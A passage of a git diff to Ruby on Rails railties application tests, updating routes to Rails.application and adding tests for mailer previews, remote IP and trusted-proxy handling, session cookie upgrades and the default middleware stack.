app_file 'config/routes.rb', <<-RUBY
- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
get '/c', to: lambda { |env| [200, {"Content-Type" => "text/plain"}, [User.counter.to_s]] }
end
RUBY
@@ -144,7 +144,7 @@ class LoadingTest < ActiveSupport::TestCase
RUBY
app_file 'config/routes.rb', <<-RUBY
- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
get '/c', to: lambda { |env| [200, {"Content-Type" => "text/plain"}, [User.counter.to_s]] }
end
RUBY
@@ -179,8 +179,8 @@ class LoadingTest < ActiveSupport::TestCase
RUBY
app_file 'config/routes.rb', <<-RUBY
- $counter = 0
- AppTemplate::Application.routes.draw do
+ $counter ||= 0
+ Rails.application.routes.draw do
get '/c', to: lambda { |env| User; [200, {"Content-Type" => "text/plain"}, [$counter.to_s]] }
end
RUBY
@@ -205,13 +205,46 @@ class LoadingTest < ActiveSupport::TestCase
assert_equal "2", last_response.body
end
+ test "dependencies reloading is followed by routes reloading" do
+ add_to_config <<-RUBY
+ config.cache_classes = false
+ RUBY
+
+ app_file 'config/routes.rb', <<-RUBY
+ $counter ||= 1
+ $counter *= 2
+ Rails.application.routes.draw do
+ get '/c', to: lambda { |env| User; [200, {"Content-Type" => "text/plain"}, [$counter.to_s]] }
+ end
+ RUBY
+
+ app_file "app/models/user.rb", <<-MODEL
+ class User
+ $counter += 1
+ end
+ MODEL
+
+ require 'rack/test'
+ extend Rack::Test::Methods
+
+ require "#{rails_root}/config/environment"
+
+ get "/c"
+ assert_equal "3", last_response.body
+
+ app_file "db/schema.rb", ""
+
+ get "/c"
+ assert_equal "7", last_response.body
+ end
+
test "columns migrations also trigger reloading" do
add_to_config <<-RUBY
config.cache_classes = false
RUBY
app_file 'config/routes.rb', <<-RUBY
- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
get '/title', to: lambda { |env| [200, {"Content-Type" => "text/plain"}, [Post.new.title]] }
get '/body', to: lambda { |env| [200, {"Content-Type" => "text/plain"}, [Post.new.body]] }
end
@@ -270,7 +303,7 @@ class LoadingTest < ActiveSupport::TestCase
RUBY
app_file "config/routes.rb", <<-RUBY
- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
get "/:controller(/:action)"
end
RUBY
@@ -288,10 +321,10 @@ class LoadingTest < ActiveSupport::TestCase
require "#{app_path}/config/application"
assert !Rails.initialized?
- assert !AppTemplate::Application.initialized?
+ assert !Rails.application.initialized?
Rails.initialize!
assert Rails.initialized?
- assert AppTemplate::Application.initialized?
+ assert Rails.application.initialized?
end
protected
diff --git a/railties/test/application/mailer_previews_test.rb b/railties/test/application/mailer_previews_test.rb
new file mode 100644
index 0000000000..55e917c3ec
--- /dev/null
+++ b/railties/test/application/mailer_previews_test.rb
@@ -0,0 +1,494 @@
+require 'isolation/abstract_unit'
+require 'rack/test'
+module ApplicationTests
+ class MailerPreviewsTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+ include Rack::Test::Methods
+
+ def setup
+ build_app
+ boot_rails
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ test "/rails/mailers is accessible in development" do
+ app("development")
+ get "/rails/mailers"
+ assert_equal 200, last_response.status
+ end
+
+ test "/rails/mailers is not accessible in production" do
+ app("production")
+ get "/rails/mailers"
+ assert_equal 404, last_response.status
+ end
+
+ test "/rails/mailers is accessible with correct configuraiton" do
+ add_to_config "config.action_mailer.show_previews = true"
+ app("production")
+ get "/rails/mailers"
+ assert_equal 200, last_response.status
+ end
+
+ test "/rails/mailers is not accessible with show_previews = false" do
+ add_to_config "config.action_mailer.show_previews = false"
+ app("development")
+ get "/rails/mailers"
+ assert_equal 404, last_response.status
+ end
+
+ test "mailer previews are loaded from the default preview_path" do
+ mailer 'notifier', <<-RUBY
+ class Notifier < ActionMailer::Base
+ default from: "from@example.com"
+
+ def foo
+ mail to: "to@example.org"
+ end
+ end
+ RUBY
+
+ text_template 'notifier/foo', <<-RUBY
+ Hello, World!
+ RUBY
+
+ mailer_preview 'notifier', <<-RUBY
+ class NotifierPreview < ActionMailer::Preview
+ def foo
+ Notifier.foo
+ end
+ end
+ RUBY
+
+ app('development')
+
+ get "/rails/mailers"
+ assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+ assert_match '<li><a href="/rails/mailers/notifier/foo">foo</a></li>', last_response.body
+ end
+
+ test "mailer previews are loaded from a custom preview_path" do
+ add_to_config "config.action_mailer.preview_path = '#{app_path}/lib/mailer_previews'"
+
+ mailer 'notifier', <<-RUBY
+ class Notifier < ActionMailer::Base
+ default from: "from@example.com"
+
+ def foo
+ mail to: "to@example.org"
+ end
+ end
+ RUBY
+
+ text_template 'notifier/foo', <<-RUBY
+ Hello, World!
+ RUBY
+
+ app_file 'lib/mailer_previews/notifier_preview.rb', <<-RUBY
+ class NotifierPreview < ActionMailer::Preview
+ def foo
+ Notifier.foo
+ end
+ end
+ RUBY
+
+ app('development')
+
+ get "/rails/mailers"
+ assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+ assert_match '<li><a href="/rails/mailers/notifier/foo">foo</a></li>', last_response.body
+ end
+
+ test "mailer previews are reloaded across requests" do
+ app('development')
+
+ get "/rails/mailers"
+ assert_no_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+
+ mailer 'notifier', <<-RUBY
+ class Notifier < ActionMailer::Base
+ default from: "from@example.com"
+
+ def foo
+ mail to: "to@example.org"
+ end
+ end
+ RUBY
+
+ text_template 'notifier/foo', <<-RUBY
+ Hello, World!
+ RUBY
+
+ mailer_preview 'notifier', <<-RUBY
+ class NotifierPreview < ActionMailer::Preview
+ def foo
+ Notifier.foo
+ end
+ end
+ RUBY
+
+ get "/rails/mailers"
+ assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+
+ remove_file 'test/mailers/previews/notifier_preview.rb'
+ sleep(1)
+
+ get "/rails/mailers"
+ assert_no_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+ end
+
+ test "mailer preview actions are added and removed" do
+ mailer 'notifier', <<-RUBY
+ class Notifier < ActionMailer::Base
+ default from: "from@example.com"
+
+ def foo
+ mail to: "to@example.org"
+ end
+ end
+ RUBY
+
+ text_template 'notifier/foo', <<-RUBY
+ Hello, World!
+ RUBY
+
+ mailer_preview 'notifier', <<-RUBY
+ class NotifierPreview < ActionMailer::Preview
+ def foo
+ Notifier.foo
+ end
+ end
+ RUBY
+
+ app('development')
+
+ get "/rails/mailers"
+ assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+ assert_match '<li><a href="/rails/mailers/notifier/foo">foo</a></li>', last_response.body
+ assert_no_match '<li><a href="/rails/mailers/notifier/bar">bar</a></li>', last_response.body
+
+ mailer 'notifier', <<-RUBY
+ class Notifier < ActionMailer::Base
+ default from: "from@example.com"
+
+ def foo
+ mail to: "to@example.org"
+ end
+
+ def bar
+ mail to: "to@example.net"
+ end
+ end
+ RUBY
+
+ text_template 'notifier/foo', <<-RUBY
+ Hello, World!
+ RUBY
+
+ text_template 'notifier/bar', <<-RUBY
+ Goodbye, World!
+ RUBY
+
+ mailer_preview 'notifier', <<-RUBY
+ class NotifierPreview < ActionMailer::Preview
+ def foo
+ Notifier.foo
+ end
+
+ def bar
+ Notifier.bar
+ end
+ end
+ RUBY
+
+ sleep(1)
+
+ get "/rails/mailers"
+ assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+ assert_match '<li><a href="/rails/mailers/notifier/foo">foo</a></li>', last_response.body
+ assert_match '<li><a href="/rails/mailers/notifier/bar">bar</a></li>', last_response.body
+
+ mailer 'notifier', <<-RUBY
+ class Notifier < ActionMailer::Base
+ default from: "from@example.com"
+
+ def foo
+ mail to: "to@example.org"
+ end
+ end
+ RUBY
+
+ remove_file 'app/views/notifier/bar.text.erb'
+
+ mailer_preview 'notifier', <<-RUBY
+ class NotifierPreview < ActionMailer::Preview
+ def foo
+ Notifier.foo
+ end
+ end
+ RUBY
+
+ sleep(1)
+
+ get "/rails/mailers"
+ assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+ assert_match '<li><a href="/rails/mailers/notifier/foo">foo</a></li>', last_response.body
+ assert_no_match '<li><a href="/rails/mailers/notifier/bar">bar</a></li>', last_response.body
+ end
+
+ test "mailer previews are reloaded from a custom preview_path" do
+ add_to_config "config.action_mailer.preview_path = '#{app_path}/lib/mailer_previews'"
+
+ app('development')
+
+ get "/rails/mailers"
+ assert_no_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+
+ mailer 'notifier', <<-RUBY
+ class Notifier < ActionMailer::Base
+ default from: "from@example.com"
+
+ def foo
+ mail to: "to@example.org"
+ end
+ end
+ RUBY
+
+ text_template 'notifier/foo', <<-RUBY
+ Hello, World!
+ RUBY
+
+ app_file 'lib/mailer_previews/notifier_preview.rb', <<-RUBY
+ class NotifierPreview < ActionMailer::Preview
+ def foo
+ Notifier.foo
+ end
+ end
+ RUBY
+
+ get "/rails/mailers"
+ assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+
+ remove_file 'lib/mailer_previews/notifier_preview.rb'
+ sleep(1)
+
+ get "/rails/mailers"
+ assert_no_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+ end
+
+ test "mailer preview not found" do
+ app('development')
+ get "/rails/mailers/notifier"
+ assert last_response.not_found?
+ assert_match "Mailer preview &#39;notifier&#39; not found", last_response.body
+ end
+
+ test "mailer preview email not found" do
+ mailer 'notifier', <<-RUBY
+ class Notifier < ActionMailer::Base
+ default from: "from@example.com"
+
+ def foo
+ mail to: "to@example.org"
+ end
+ end
+ RUBY
+
+ text_template 'notifier/foo', <<-RUBY
+ Hello, World!
+ RUBY
+
+ mailer_preview 'notifier', <<-RUBY
+ class NotifierPreview < ActionMailer::Preview
+ def foo
+ Notifier.foo
+ end
+ end
+ RUBY
+
+ app('development')
+
+ get "/rails/mailers/notifier/bar"
+ assert last_response.not_found?
+ assert_match "Email &#39;bar&#39; not found in NotifierPreview", last_response.body
+ end
+
+ test "mailer preview email part not found" do
+ mailer 'notifier', <<-RUBY
+ class Notifier < ActionMailer::Base
+ default from: "from@example.com"
+
+ def foo
+ mail to: "to@example.org"
+ end
+ end
+ RUBY
+
+ text_template 'notifier/foo', <<-RUBY
+ Hello, World!
+ RUBY
+
+ mailer_preview 'notifier', <<-RUBY
+ class NotifierPreview < ActionMailer::Preview
+ def foo
+ Notifier.foo
+ end
+ end
+ RUBY
+
+ app('development')
+
+ get "/rails/mailers/notifier/foo?part=text%2Fhtml"
+ assert last_response.not_found?
+ assert_match "Email part &#39;text/html&#39; not found in NotifierPreview#foo", last_response.body
+ end
+
+ test "message header uses full display names" do
+ mailer 'notifier', <<-RUBY
+ class Notifier < ActionMailer::Base
+ default from: "Ruby on Rails <core@rubyonrails.org>"
+
+ def foo
+ mail to: "Andrew White <andyw@pixeltrix.co.uk>",
+ cc: "David Heinemeier Hansson <david@heinemeierhansson.com>"
+ end
+ end
+ RUBY
+
+ text_template 'notifier/foo', <<-RUBY
+ Hello, World!
+ RUBY
+
+ mailer_preview 'notifier', <<-RUBY
+ class NotifierPreview < ActionMailer::Preview
+ def foo
+ Notifier.foo
+ end
+ end
+ RUBY
+
+ app('development')
+
+ get "/rails/mailers/notifier/foo"
+ assert_equal 200, last_response.status
+ assert_match "Ruby on Rails &lt;core@rubyonrails.org&gt;", last_response.body
+ assert_match "Andrew White &lt;andyw@pixeltrix.co.uk&gt;", last_response.body
+ assert_match "David Heinemeier Hansson &lt;david@heinemeierhansson.com&gt;", last_response.body
+ end
+
+ test "part menu selects correct option" do
+ mailer 'notifier', <<-RUBY
+ class Notifier < ActionMailer::Base
+ default from: "from@example.com"
+
+ def foo
+ mail to: "to@example.org"
+ end
+ end
+ RUBY
+
+ html_template 'notifier/foo', <<-RUBY
+ <p>Hello, World!</p>
+ RUBY
+
+ text_template 'notifier/foo', <<-RUBY
+ Hello, World!
+ RUBY
+
+ mailer_preview 'notifier', <<-RUBY
+ class NotifierPreview < ActionMailer::Preview
+ def foo
+ Notifier.foo
+ end
+ end
+ RUBY
+
+ app('development')
+
+ get "/rails/mailers/notifier/foo.html"
+ assert_equal 200, last_response.status
+ assert_match '<option selected value="?part=text%2Fhtml">View as HTML email</option>', last_response.body
+
+ get "/rails/mailers/notifier/foo.txt"
+ assert_equal 200, last_response.status
+ assert_match '<option selected value="?part=text%2Fplain">View as plain-text email</option>', last_response.body
+ end
+
+ test "*_path helpers emit a deprecation" do
+
+ app_file "config/routes.rb", <<-RUBY
+ Rails.application.routes.draw do
+ get 'foo', to: 'foo#index'
+ end
+ RUBY
+
+ mailer 'notifier', <<-RUBY
+ class Notifier < ActionMailer::Base
+ default from: "from@example.com"
+
+ def path_in_view
+ mail to: "to@example.org"
+ end
+
+ def path_in_mailer
+ @url = foo_path
+ mail to: "to@example.org"
+ end
+ end
+ RUBY
+
+ html_template 'notifier/path_in_view', "<%= link_to 'foo', foo_path %>"
+
+ mailer_preview 'notifier', <<-RUBY
+ class NotifierPreview < ActionMailer::Preview
+ def path_in_view
+ Notifier.path_in_view
+ end
+
+ def path_in_mailer
+ Notifier.path_in_mailer
+ end
+ end
+ RUBY
+
+ app('development')
+
+ assert_deprecated do
+ get "/rails/mailers/notifier/path_in_view.html"
+ assert_equal 200, last_response.status
+ end
+
+ html_template 'notifier/path_in_mailer', "No ERB in here"
+
+ assert_deprecated do
+ get "/rails/mailers/notifier/path_in_mailer.html"
+ assert_equal 200, last_response.status
+ end
+ end
+
+ private
+ def build_app
+ super
+ app_file "config/routes.rb", "Rails.application.routes.draw do; end"
+ end
+
+ def mailer(name, contents)
+ app_file("app/mailers/#{name}.rb", contents)
+ end
+
+ def mailer_preview(name, contents)
+ app_file("test/mailers/previews/#{name}_preview.rb", contents)
+ end
+
+ def html_template(name, contents)
+ app_file("app/views/#{name}.html.erb", contents)
+ end
+
+ def text_template(name, contents)
+ app_file("app/views/#{name}.text.erb", contents)
+ end
+ end
+end
diff --git a/railties/test/application/middleware/best_practices_test.rb b/railties/test/application/middleware/best_practices_test.rb
deleted file mode 100644
index f6783c6ca2..0000000000
--- a/railties/test/application/middleware/best_practices_test.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-require 'isolation/abstract_unit'
-
-module ApplicationTests
- class BestPracticesTest < ActiveSupport::TestCase
- include ActiveSupport::Testing::Isolation
-
- def setup
- build_app
- boot_rails
- require 'rack/test'
- extend Rack::Test::Methods
- simple_controller
- end
-
- def teardown
- teardown_app
- end
-
- test "simple controller in production mode returns best standards" do
- get '/foo'
- assert_equal "IE=Edge,chrome=1", last_response.headers["X-UA-Compatible"]
- end
-
- test "simple controller in development mode leaves out Chrome" do
- app("development")
- get "/foo"
- assert_equal "IE=Edge", last_response.headers["X-UA-Compatible"]
- end
- end
-end
diff --git a/railties/test/application/middleware/cache_test.rb b/railties/test/application/middleware/cache_test.rb
index c99666d7e4..c951dabd6c 100644
--- a/railties/test/application/middleware/cache_test.rb
+++ b/railties/test/application/middleware/cache_test.rb
@@ -45,7 +45,7 @@ module ApplicationTests
RUBY
app_file 'config/routes.rb', <<-RUBY
- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
get ':controller(/:action)'
end
RUBY
@@ -81,7 +81,7 @@ module ApplicationTests
add_to_config "config.action_dispatch.rack_cache = true"
get "/expires/expires_header"
- assert_equal "miss, store", last_response.headers["X-Rack-Cache"]
+ assert_equal "miss, store", last_response.headers["X-Rack-Cache"]
assert_equal "max-age=10, public", last_response.headers["Cache-Control"]
body = last_response.body
@@ -116,7 +116,7 @@ module ApplicationTests
get "/expires/expires_etag"
assert_equal "miss, store", last_response.headers["X-Rack-Cache"]
- assert_equal "public", last_response.headers["Cache-Control"]
+ assert_equal "public", last_response.headers["Cache-Control"]
body = last_response.body
etag = last_response.headers["ETag"]
@@ -150,7 +150,7 @@ module ApplicationTests
get "/expires/expires_last_modified"
assert_equal "miss, store", last_response.headers["X-Rack-Cache"]
- assert_equal "public", last_response.headers["Cache-Control"]
+ assert_equal "public", last_response.headers["Cache-Control"]
body = last_response.body
last = last_response.headers["Last-Modified"]
diff --git a/railties/test/application/middleware/cookies_test.rb b/railties/test/application/middleware/cookies_test.rb
index 18af7abafc..bbb7627be9 100644
--- a/railties/test/application/middleware/cookies_test.rb
+++ b/railties/test/application/middleware/cookies_test.rb
@@ -33,7 +33,7 @@ module ApplicationTests
assert_equal false, ActionDispatch::Cookies::CookieJar.always_write_cookie
end
- test 'always_write_cookie can be overrided' do
+ test 'always_write_cookie can be overridden' do
add_to_config <<-RUBY
config.action_dispatch.always_write_cookie = false
RUBY
diff --git a/railties/test/application/middleware/exceptions_test.rb b/railties/test/application/middleware/exceptions_test.rb
index 42096cfec4..a7472b37f1 100644
--- a/railties/test/application/middleware/exceptions_test.rb
+++ b/railties/test/application/middleware/exceptions_test.rb
@@ -60,6 +60,21 @@ module ApplicationTests
assert_equal "YOU FAILED BRO", last_response.body
end
+ test "url generation error when action_dispatch.show_exceptions is set raises an exception" do
+ controller :foo, <<-RUBY
+ class FooController < ActionController::Base
+ def index
+ raise ActionController::UrlGenerationError
+ end
+ end
+ RUBY
+
+ app.config.action_dispatch.show_exceptions = true
+
+ get '/foo'
+ assert_equal 500, last_response.status
+ end
+
test "unspecified route when action_dispatch.show_exceptions is not set raises an exception" do
app.config.action_dispatch.show_exceptions = false
diff --git a/railties/test/application/middleware/remote_ip_test.rb b/railties/test/application/middleware/remote_ip_test.rb
index fde13eeb94..97d5b5c698 100644
--- a/railties/test/application/middleware/remote_ip_test.rb
+++ b/railties/test/application/middleware/remote_ip_test.rb
@@ -1,5 +1,5 @@
+require 'ipaddr'
require 'isolation/abstract_unit'
-# FIXME remove DummyKeyGenerator and this require in 4.1
require 'active_support/key_generator'
module ApplicationTests
@@ -10,7 +10,7 @@ module ApplicationTests
remote_ip = nil
env = Rack::MockRequest.env_for("/").merge(env).merge!(
'action_dispatch.show_exceptions' => false,
- 'action_dispatch.key_generator' => ActiveSupport::DummyKeyGenerator.new('b3c631c314c0bbca50c1b2843150fe33')
+ 'action_dispatch.key_generator' => ActiveSupport::LegacyKeyGenerator.new('b3c631c314c0bbca50c1b2843150fe33')
)
endpoint = Proc.new do |e|
@@ -34,22 +34,45 @@ module ApplicationTests
end
end
+ test "works with both headers individually" do
+ make_basic_app
+ assert_nothing_raised(ActionDispatch::RemoteIp::IpSpoofAttackError) do
+ assert_equal "1.1.1.1", remote_ip("HTTP_X_FORWARDED_FOR" => "1.1.1.1")
+ end
+ assert_nothing_raised(ActionDispatch::RemoteIp::IpSpoofAttackError) do
+ assert_equal "1.1.1.2", remote_ip("HTTP_CLIENT_IP" => "1.1.1.2")
+ end
+ end
+
test "can disable IP spoofing check" do
make_basic_app do |app|
app.config.action_dispatch.ip_spoofing_check = false
end
assert_nothing_raised(ActionDispatch::RemoteIp::IpSpoofAttackError) do
- assert_equal "1.1.1.2", remote_ip("HTTP_X_FORWARDED_FOR" => "1.1.1.1", "HTTP_CLIENT_IP" => "1.1.1.2")
+ assert_equal "1.1.1.1", remote_ip("HTTP_X_FORWARDED_FOR" => "1.1.1.1", "HTTP_CLIENT_IP" => "1.1.1.2")
end
end
+ test "remote_ip works with HTTP_X_FORWARDED_FOR" do
+ make_basic_app
+ assert_equal "4.2.42.42", remote_ip("REMOTE_ADDR" => "1.1.1.1", "HTTP_X_FORWARDED_FOR" => "4.2.42.42")
+ end
+
test "the user can set trusted proxies" do
make_basic_app do |app|
app.config.action_dispatch.trusted_proxies = /^4\.2\.42\.42$/
end
- assert_equal "1.1.1.1", remote_ip("REMOTE_ADDR" => "4.2.42.42,1.1.1.1")
+ assert_equal "1.1.1.1", remote_ip("REMOTE_ADDR" => "1.1.1.1", "HTTP_X_FORWARDED_FOR" => "4.2.42.42")
+ end
+
+ test "the user can set trusted proxies with an IPAddr argument" do
+ make_basic_app do |app|
+ app.config.action_dispatch.trusted_proxies = IPAddr.new('4.2.42.0/24')
+ end
+
+ assert_equal "1.1.1.1", remote_ip("REMOTE_ADDR" => "1.1.1.1", "HTTP_X_FORWARDED_FOR" => "10.0.0.0,4.2.42.42")
end
end
end
diff --git a/railties/test/application/middleware/session_test.rb b/railties/test/application/middleware/session_test.rb
index a5fdfbf887..eb7885e5b1 100644
--- a/railties/test/application/middleware/session_test.rb
+++ b/railties/test/application/middleware/session_test.rb
@@ -49,7 +49,7 @@ module ApplicationTests
test "session is empty and isn't saved on unverified request when using :null_session protect method" do
app_file 'config/routes.rb', <<-RUBY
- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
get ':controller(/:action)'
post ':controller(/:action)'
end
@@ -90,7 +90,7 @@ module ApplicationTests
test "cookie jar is empty and isn't saved on unverified request when using :null_session protect method" do
app_file 'config/routes.rb', <<-RUBY
- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
get ':controller(/:action)'
post ':controller(/:action)'
end
@@ -131,7 +131,7 @@ module ApplicationTests
test "session using encrypted cookie store" do
app_file 'config/routes.rb', <<-RUBY
- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
get ':controller(/:action)'
end
RUBY
@@ -157,10 +157,6 @@ module ApplicationTests
end
RUBY
- add_to_config <<-RUBY
- config.session_store :encrypted_cookie_store, key: '_myapp_session'
- RUBY
-
require "#{app_path}/config/environment"
get '/foo/write_session'
@@ -178,9 +174,9 @@ module ApplicationTests
assert_equal 1, encryptor.decrypt_and_verify(last_response.body)['foo']
end
- test "session using upgrade signature to encryption cookie store works the same way as encrypted cookie store" do
+ test "session upgrading signature to encryption cookie store works the same way as encrypted cookie store" do
app_file 'config/routes.rb', <<-RUBY
- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
get ':controller(/:action)'
end
RUBY
@@ -207,8 +203,7 @@ module ApplicationTests
RUBY
add_to_config <<-RUBY
- config.secret_token = "3b7cd727ee24e8444053437c36cc66c4"
- config.session_store :upgrade_signature_to_encryption_cookie_store, key: '_myapp_session'
+ secrets.secret_token = "3b7cd727ee24e8444053437c36cc66c4"
RUBY
require "#{app_path}/config/environment"
@@ -228,9 +223,9 @@ module ApplicationTests
assert_equal 1, encryptor.decrypt_and_verify(last_response.body)['foo']
end
- test "session using upgrade signature to encryption cookie store upgrades session to encrypted mode" do
+ test "session upgrading signature to encryption cookie store upgrades session to encrypted mode" do
app_file 'config/routes.rb', <<-RUBY
- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
get ':controller(/:action)'
end
RUBY
@@ -263,8 +258,7 @@ module ApplicationTests
RUBY
add_to_config <<-RUBY
- config.secret_token = "3b7cd727ee24e8444053437c36cc66c4"
- config.session_store :upgrade_signature_to_encryption_cookie_store, key: '_myapp_session'
+ secrets.secret_token = "3b7cd727ee24e8444053437c36cc66c4"
RUBY
require "#{app_path}/config/environment"
@@ -287,5 +281,63 @@ module ApplicationTests
get '/foo/read_raw_cookie'
assert_equal 2, encryptor.decrypt_and_verify(last_response.body)['foo']
end
+
+ test "session upgrading legacy signed cookies to new signed cookies" do
+ app_file 'config/routes.rb', <<-RUBY
+ Rails.application.routes.draw do
+ get ':controller(/:action)'
+ end
+ RUBY
+
+ controller :foo, <<-RUBY
+ class FooController < ActionController::Base
+ def write_raw_session
+ # {"session_id"=>"1965d95720fffc123941bdfb7d2e6870", "foo"=>1}
+ cookies[:_myapp_session] = "BAh7B0kiD3Nlc3Npb25faWQGOgZFRkkiJTE5NjVkOTU3MjBmZmZjMTIzOTQxYmRmYjdkMmU2ODcwBjsAVEkiCGZvbwY7AEZpBg==--315fb9931921a87ae7421aec96382f0294119749"
+ render nothing: true
+ end
+
+ def write_session
+ session[:foo] = session[:foo] + 1
+ render nothing: true
+ end
+
+ def read_session
+ render text: session[:foo]
+ end
+
+ def read_signed_cookie
+ render text: cookies.signed[:_myapp_session]['foo']
+ end
+
+ def read_raw_cookie
+ render text: cookies[:_myapp_session]
+ end
+ end
+ RUBY
+
+ add_to_config <<-RUBY
+ secrets.secret_token = "3b7cd727ee24e8444053437c36cc66c4"
+ secrets.secret_key_base = nil
+ RUBY
+
+ require "#{app_path}/config/environment"
+
+ get '/foo/write_raw_session'
+ get '/foo/read_session'
+ assert_equal '1', last_response.body
+
+ get '/foo/write_session'
+ get '/foo/read_session'
+ assert_equal '2', last_response.body
+
+ get '/foo/read_signed_cookie'
+ assert_equal '2', last_response.body
+
+ verifier = ActiveSupport::MessageVerifier.new(app.secrets.secret_token)
+
+ get '/foo/read_raw_cookie'
+ assert_equal 2, verifier.verify(last_response.body)['foo']
+ end
end
end
diff --git a/railties/test/application/middleware/static_test.rb b/railties/test/application/middleware/static_test.rb
new file mode 100644
index 0000000000..0a793f8f60
--- /dev/null
+++ b/railties/test/application/middleware/static_test.rb
@@ -0,0 +1,31 @@
+# encoding: utf-8
+require 'isolation/abstract_unit'
+require 'rack/test'
+
+module ApplicationTests
+ class MiddlewareStaticTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+ include Rack::Test::Methods
+
+ def setup
+ build_app
+ FileUtils.rm_rf "#{app_path}/config/environments"
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ # Regression test to #8907
+ # See https://github.com/rails/rails/commit/9cc82b77196d21a5c7021f6dca59ab9b2b158a45#commitcomment-2416514
+ test "doesn't set Cache-Control header when it is nil" do
+ app_file "public/foo.html", 'static'
+
+ require "#{app_path}/config/environment"
+
+ get 'foo'
+
+ assert_not last_response.headers.has_key?('Cache-Control'), "Cache-Control should not be set"
+ end
+ end
+end
diff --git a/railties/test/application/middleware_test.rb b/railties/test/application/middleware_test.rb
index c5a0d02fe1..caef39d16f 100644
--- a/railties/test/application/middleware_test.rb
+++ b/railties/test/application/middleware_test.rb
@@ -19,7 +19,7 @@ module ApplicationTests
end
test "default middleware stack" do
- add_to_config "config.action_dispatch.x_sendfile_header = 'X-Sendfile'"
+ add_to_config "config.active_record.migration_error = :page_load"
boot!
@@ -37,6 +37,7 @@ module ApplicationTests
"ActionDispatch::RemoteIp",
"ActionDispatch::Reloader",
"ActionDispatch::Callbacks",
+ "ActiveRecord::Migration::CheckPending",
"ActiveRecord::ConnectionAdapters::ConnectionManagement",
"ActiveRecord::QueryCache",
"ActionDispatch::Cookies",
@@ -45,17 +46,10 @@ module ApplicationTests
"ActionDispatch::ParamsParser",
"Rack::Head",
"Rack::ConditionalGet",
- "Rack::ETag",
- "ActionDispatch::BestStandardsSupport"
+ "Rack::ETag"
], middleware
end
- test "Rack::Sendfile is not included by default" do
- boot!
-
- assert !middleware.include?("Rack::Sendfile"), "Rack::Sendfile is not included in the default stack unless you set config.action_dispatch.x_sendfile_header"
- end
-
test "Rack::Cache is not included by default" do
boot!
@@ -67,7 +61,15 @@ module ApplicationTests
boot!
- assert_equal "Rack::Cache", middleware.first
+ assert middleware.include?("Rack::Cache")
+ end
+
+ test "ActiveRecord::Migration::CheckPending is present when active_record.migration_error is set to :page_load" do
+ add_to_config "config.active_record.migration_error = :page_load"
+
+ boot!
+
+ assert middleware.include?("ActiveRecord::Migration::CheckPending")
end
test "ActionDispatch::SSL is present when force_ssl is set" do
@@ -81,7 +83,7 @@ module ApplicationTests
add_to_config "config.ssl_options = { host: 'example.com' }"
boot!
- assert_equal AppTemplate::Application.middleware.first.args, [{host: 'example.com'}]
+ assert_equal [{host: 'example.com'}], Rails.application.middleware.first.args
end
test "removing Active Record omits its middleware" do
@@ -89,10 +91,24 @@ module ApplicationTests
boot!
assert !middleware.include?("ActiveRecord::ConnectionAdapters::ConnectionManagement")
assert !middleware.include?("ActiveRecord::QueryCache")
+ assert !middleware.include?("ActiveRecord::Migration::CheckPending")
+ end
+
+ test "includes lock if cache_classes is set but eager_load is not" do
+ add_to_config "config.cache_classes = true"
+ boot!
+ assert middleware.include?("Rack::Lock")
end
- test "removes lock if cache classes is set" do
+ test "does not include lock if cache_classes is set and so is eager_load" do
add_to_config "config.cache_classes = true"
+ add_to_config "config.eager_load = true"
+ boot!
+ assert !middleware.include?("Rack::Lock")
+ end
+
+ test "does not include lock if allow_concurrency is set" do
+ add_to_config "config.allow_concurrency = true"
boot!
assert !middleware.include?("Rack::Lock")
end
@@ -130,24 +146,30 @@ module ApplicationTests
end
test "insert middleware after" do
- add_to_config "config.middleware.insert_after ActionDispatch::Static, Rack::Config"
+ add_to_config "config.middleware.insert_after Rack::Sendfile, Rack::Config"
boot!
assert_equal "Rack::Config", middleware.second
end
+ test 'unshift middleware' do
+ add_to_config 'config.middleware.unshift Rack::Config'
+ boot!
+ assert_equal 'Rack::Config', middleware.first
+ end
+
test "Rails.cache does not respond to middleware" do
add_to_config "config.cache_store = :memory_store"
boot!
- assert_equal "Rack::Runtime", middleware.third
+ assert_equal "Rack::Runtime", middleware.fourth
end
test "Rails.cache does respond to middleware" do
boot!
- assert_equal "Rack::Runtime", middleware.fourth
+ assert_equal "Rack::Runtime", middleware.fifth
end
test "insert middleware before" do
- add_to_config "config.middleware.insert_before ActionDispatch::Static, Rack::Config"
+ add_to_config "config.middleware.insert_before Rack::Sendfile, Rack::Config"
boot!
assert_equal "Rack::Config", middleware.first
end
@@ -173,7 +195,7 @@ module ApplicationTests
end
end
- etag = "5af83e3196bf99f440f31f2e1a6c9afe".inspect
+ etag = "W/" + "5af83e3196bf99f440f31f2e1a6c9afe".inspect
get "/"
assert_equal 200, last_response.status
@@ -212,7 +234,7 @@ module ApplicationTests
end
def middleware
- AppTemplate::Application.middleware.map(&:klass).map(&:name)
